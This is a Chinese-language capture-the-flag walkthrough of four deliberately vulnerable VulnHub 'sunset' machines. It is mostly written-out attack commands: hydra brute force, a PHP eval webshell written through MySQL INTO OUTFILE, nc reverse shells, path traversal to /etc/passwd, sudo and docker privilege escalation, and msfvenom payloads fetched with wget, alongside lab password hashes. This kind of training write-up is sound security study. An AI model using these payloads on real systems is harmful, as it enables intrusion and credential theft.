描述:該合集包含sunset系列適合新手的四個靶機(sunset:1、dusk、sunrise、noontide)的滲透全過程。
靶機下載地址:Vulnerable By Design - Search: sunset ~ VulnHubhttps://www.vulnhub.com/?q=sunset
sunset:1
滲透過程
信息收集
確認目標主機ip:192.168.56.126,并且開放21,22端口。
nmap 192.168.56.0/24 -Pn?nmap 192.168.56.126 -A -T4
FTP匿名登錄
anonymou:空密碼
mget命令下載backup文件到本地,獲得類似于shadow文件中密碼加密的部分。
CREDENTIALS: ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??
office:$6$$9ZYTy.VI0M7cG9tVcPl.QZZi2XHOUZ9hLsiCr/avWTajSPHqws7.75I9ZjP4HwLN3Gvio5To4gjBdeDGzhq.X. ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
datacenter:$6$$3QW/J4OlV3naFDbhuksxRXLrkR6iKo4gh.Zx1RfZC2OINKMiJ/6Ffyl33OFtBvCI7S4N1b8vlDylF2hG2N0NN/ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
sky:$6$$Ny8IwgIPYq5pHGZqyIXmoVRRmWydH7u2JbaTo.H2kNG7hFtR.pZb94.HjeTK1MLyBxw8PUeyzJszcwfH0qepG0 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??
sunset:$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrlU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/
space:$6$$4NccGQWPfiyfGKHgyhJBgiadOlP/FM4.Qwl1yIWP28ABx.YuOsiRaiKKU.4A1HKs9XLXtq8qFuC3W6SCE4Ltx/?
john破解
重點看一下
sunset:$6$406THujdibTNu./R$NzquK0QRsbAUUSrHcpR2QrrlU3fA/SJo7sPDPbP3xcCR/lpbgMXS67Y27KtgLZAcJq9KZpEKEqBHFLzFSZ9bo/
$6表示是SHA-512加密。
john backup
sunset:cheer14
ssh連接成功,獲得user.txt。
ed提權
sudo ed
!/bin/sh
命令參考ed | GTFOBins
提權成功。
sunset:dusk
滲透過程
信息收集
nmap 192.168.56.0/24 -Pnnmap 192.168.56.127 -A -T4
開放端口:21,22,25,80,3306,8080。
8080端口提示當前目錄是/var/tmp。
hydra爆破數據庫
沒什么收獲嘗試爆破ssh,mysql密碼。
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.127 mysql
root:password,成功連接數據庫。
mysql寫入webshell
根據前面8080端口提示的路徑/var/tmp,向該路徑寫入一句話木馬。
select "<?php eval($_GET['cmd']);?>" into outfile "/var/tmp/1.php";
驗證一下,成功寫入了一句話木馬。
蟻劍連接時發現返回空,換個一句話木馬
select "<?php @eval($_POST['cmd']);?>" INTO OUTFILE "/var/tmp/shell.php";
之后上傳反彈shell文件即可or不連接蟻劍直接nc反彈shell
http://192.168.56.127:8080/shell.php?cmd=system(%27nc%20-e%20/bin/sh%20192.168.56.109%208888%27);
http://192.168.56.127:8080/1.php?cmd=system(%27nc%20-e%20/bin/sh%20192.168.56.109%208888%27);
python獲取tty
python -c 'import pty;pty.spawn("/bin/bash")'
get user.txt。
提權
提權到dusk。
COMMAND='/bin/sh'
sudo -u dusk make -s --eval=$'x:\n\t-'"$COMMAND"
這時注意到dusk屬于docker組。
docker用戶組提權
docker用戶組提權原理不說了,利用過程簡而言之就是利用任意鏡像創建容器。
docker images# 沒有鏡像就拉一個
docker pull alpinedocker run -v /:/mnt -it apline# 參數解析
-v # 給容器掛載存儲卷,掛載到容器的某個目錄
-i # 控制臺交互
-t # 分配tty設備
get root.txt。
sunset:sunrise
滲透過程
信息收集
nmap 192.168.56.0/24 -Pnnmap 192.168.56.130 -A -T4
全面掃描還是有必要的,例如這里主機發現時知道開放了22,80,3306端口;全面掃描后發現還有8080端口也開放了。
訪問8080端口得到一個信息weborf0.12.2。
weborf目錄穿越
searchsploit搜索一下有沒有漏洞可以利用。
有一個目錄穿越可以試試。
..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
得到信息:存在sunrise和weborf兩個用戶。
通過目錄穿越看看兩個用戶目錄下有沒有什么可用信息。
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fsunrise%2f
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f
get user.txt.
a6050aecf6303b0b824038807d823a89
挨個看沒發現什么。
direarch再掃一下/weborf目錄下的文件。
dirsearch -u http://192.168.56.130:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f
在.mysql_history中得到一組用戶名密碼。
show databases; ALTER USER 'weborf'@'localhost' IDENTIFIED BY 'iheartrainbows44';
用這組密碼ssh連接成功,mysql連接成功。
在mysql數據庫user表中得到sunrise的明文密碼thefutureissobrightigottawearshades和root用戶的加密密碼(md5解密,需要付費暫時放棄,看看有沒有其他方法提權到root)。
提權
切換到sunrise用戶后,sudo -l。
wine命令提權,這個命令就是linux用來運行exe文件的。因此,嘗試msf生成一個exe木馬,上傳到目標機用wine命令執行。
# 攻擊機
msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 LHOST=192.168.56.109 LPORT=4444 -o 1.exe# 開啟簡易http
python -m http.server# msf開啟監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.109
run# 目標機
cd tmp
wget http://192.168.56.109:8000/1.exe
/usr/bin/wine 1.exe
get root.txt.
sunset:noontide
滲透過程
簡單信息收集
# 主機發現
nmap 192.168.56.0/24 -Pn
?
# 端口掃描
nmap 192.168.56.124 -A -T4
發現僅開放6667端口,版本信息:UnrealIRCd
UnrealIRCd漏洞利用
msfconsole
search UnrealIRCd
use 0
set payload cmd/unix/reverse_perl
set RHOSTS 192.168.56.124
set LHOSTS
run
通過python獲得一個完整的tty。
python3 -c 'import pty;pty.spawn("/bin/bash")'
get local.txt
弱口令root....切換到root權限。
get proof.txt🎆